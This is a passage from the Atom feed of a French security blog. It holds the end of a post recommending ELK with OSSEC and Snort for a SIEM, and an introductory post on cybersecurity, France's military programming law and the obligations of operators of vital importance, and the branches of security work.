  &lt;li&gt;&lt;a href=&quot;https://www.elastic.co/fr/products/elasticsearch&quot; title=&quot;https://www.elastic.co/fr/products/elasticsearch&quot;&gt;ElasticSearch&lt;/a&gt; : moteur de stockage et d’indexation de documents et moteur de requête/d’analyse de ceux-ci.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.elastic.co/products/logstash&quot; title=&quot;https://www.elastic.co/products/logstash&quot;&gt;Logstash&lt;/a&gt;: analyse, filtrage et découpage des logs pour les transformer en documents, parfaitement formatés notamment pour ElasticSearch.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.elastic.co/products/kibana&quot; title=&quot;https://www.elastic.co/products/kibana&quot;&gt;Kibana&lt;/a&gt;: dashboard interactif et paramétrable permettant de visualiser les données stockées dans ElasticSearch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notre premier besoin est couvert, mais concernant notre supervision de la sécurité ?&lt;/p&gt;

&lt;p&gt;Pour notre HIDS, vous trouverez la solution open source &lt;a href=&quot;http://ossec.github.io/&quot; title=&quot;http://ossec.github.io/&quot;&gt;OSSEC&lt;/a&gt;. Concernant le NIDS, voici &lt;a href=&quot;https://www.snort.org/&quot; title=&quot;https://www.snort.org/&quot;&gt;SNORT&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Notre prochain article consacré au SIEM se concentrera donc sur la mise en place de cette solution ELK + surcouche OSSEC. Nous ferons également le parallèle avec les enjeux &lt;a href=&quot;http://www.bgfi-groupe.com/&quot; title=&quot;http://www.bgfi-groupe.com/&quot;&gt;Big Data&lt;/a&gt; concernant ces solutions.&lt;/p&gt;

&lt;p&gt;A bientôt.
&lt;br /&gt;
&lt;br /&gt;
Références:&lt;br /&gt;
&lt;a href=&quot;http://www.orange-business.com/fr/blogs/securite/securite-organisationnelle-et-humaine/securite-siem-ou-pas-siem-&quot;&gt;http://www.orange-business.com/fr/blogs/securite/securite-organisationnelle-et-humaine/securite-siem-ou-pas-siem-&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.itrust.fr/SIEM&quot;&gt;https://www.itrust.fr/SIEM&lt;/a&gt; &lt;br /&gt;
&lt;a href=&quot;http://www.itrmanager.com/articles/164117/siem-element-incontournable-oiv.html&quot;&gt;http://www.itrmanager.com/articles/164117/siem-element-incontournable-oiv.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.village-justice.com/articles/Quelles-obligations-pour-les-OIV,16739.html&quot;&gt;http://www.village-justice.com/articles/Quelles-obligations-pour-les-OIV,16739.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.wazuh.com/elk-stack/&quot;&gt;http://www.wazuh.com/elk-stack/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://connect.ed-diamond.com/MISC/MISC-069/SIEM-IDS-l-union-fait-elle-la-force&quot;&gt;http://connect.ed-diamond.com/MISC/MISC-069/SIEM-IDS-l-union-fait-elle-la-force&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Introduction à la cybersécurité</title>
   <link href="https://phackt.org/introduction-cybersecurite"/>
   <updated>2016-07-31T00:00:00+00:00</updated>
   <id>https://phackt.org/introduction-cybersecurite</id>
   <content type="html">&lt;h3 id=&quot;cybersécurité-un-enjeu-bien-réel&quot;&gt;Cybersécurité, un enjeu bien réel.&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quels sont ses objectifs et pourquoi manifeste-t-on aujourd’hui un tel engouement pour ce secteur ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Il y a quelques années, les entreprises restaient frileuses à investir dans ce secteur : pour quel retour sur investissement se disaient-elles ? Le secteur était de niche, les formations diplômantes en sécurité informatique n’étant également pas légion. Aujourd’hui nous pouvons trouver pléthore de ces formations, mastères, certifications (CEH, CISSP, CISO, …).
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;Ce sujet est donc devenu incontournable et la cybersécurité/cyberdéfense se sont imposées comme priorité de sécurité nationale pour les entreprises et grandes puissances mondiales. Nous assistons à une véritable prise de conscience concernant les enjeux liés à la protection et la sécurisation des systèmes d’information vitaux pour le fonctionnement de l’État, ceci souligné par un contexte tendu d’état d’urgence.
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Quelle définition officielle ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Définition de la cyberdéfense de l’ANSSI (Agence nationale de la sécurité des systèmes d’information): &lt;em&gt;« Ensemble des mesures techniques et non techniques permettant à un État de défendre dans le cyberespace les systèmes d’information jugés essentiels»&lt;/em&gt;.
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;La LPM et OIV&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Dans les finances publiques françaises, une &lt;strong&gt;Loi de Programmation Militaire&lt;/strong&gt;, abrégée LPM, est une loi visant à établir une programmation pluriannuelle des dépenses de l’État en matière militaire. Les lois de programmation militaire ont des durées d’application de quatre, cinq ou six ans. Depuis 2003, les LPM couvrent des périodes de six ans.&lt;/p&gt;

&lt;p&gt;Bien au-delà du monde « militaire de la défense », la LPM décline aussi les enjeux de « cyberdéfense » pour la sécurité de notre pays. Cette loi amende quelques articles de différents codes (code de la défense, code de procédure pénale, code de la sécurité intérieure, code de la propriété intellectuelle …), et en ajoute quelques-uns. Elle donne aux &lt;strong&gt;OIV&lt;/strong&gt; (Opérateurs d’Importance Vitale – santé, alimentation, énergie, finance, …) quelques obligations concernant la sécurisation de leurs systèmes d’information et de posséder un plan de continuité d’activité en cas d’incident.&lt;/p&gt;

&lt;p&gt;La cyberguerre est un parallèle au champ de bataille physique, et nous y retrouvons nos trois composantes principales : la prévention / anticipation, la gestion de crise lors d’une attaque, et le traitement post incident. 
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Ainsi le spectre des activités autour de la sécurité informatique est large:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Sécurité offensive: &lt;em&gt;Tests de pénétration, Audit de sites web&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sécurité défensive: &lt;em&gt;Développement applicatif sécurisé, monitoring et sécurisation des réseaux et plateformes (IDS, SIEM, Infra PKI), gestion des identités (IAM), gestion 	des incidents au travers des entités SOC, CERT/CSIRT&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Inforensique: &lt;em&gt;Investigation et récupération de données à des fins juridiques (rétro-ingénierie, analyse de cellulaires / PC, corrélation d’évènements)&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Gouvernance de la sécurité d’un SI: &lt;em&gt;Mise en conformité, normalisation ISO 2700X, PCI, continuité d’activité, risk management&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nous reviendrons sur ces différents domaines de compétences dans de prochains articles et rentrerons plus en détails sur les outils et techniques utilisés pour se prémunir de différents dangers (sécurisation des développements, vulnérabilités applicatives ou protocolaires, gestion des authentifications, phising, etc…). 
Nous nourrissons le souhait de vous fournir des articles aussi bien généralistes que beaucoup plus techniques.&lt;/p&gt;

&lt;p&gt;N’hésitez pas à nous soumettre vos suggestions.&lt;/p&gt;
</content>
 </entry>
 

</feed>
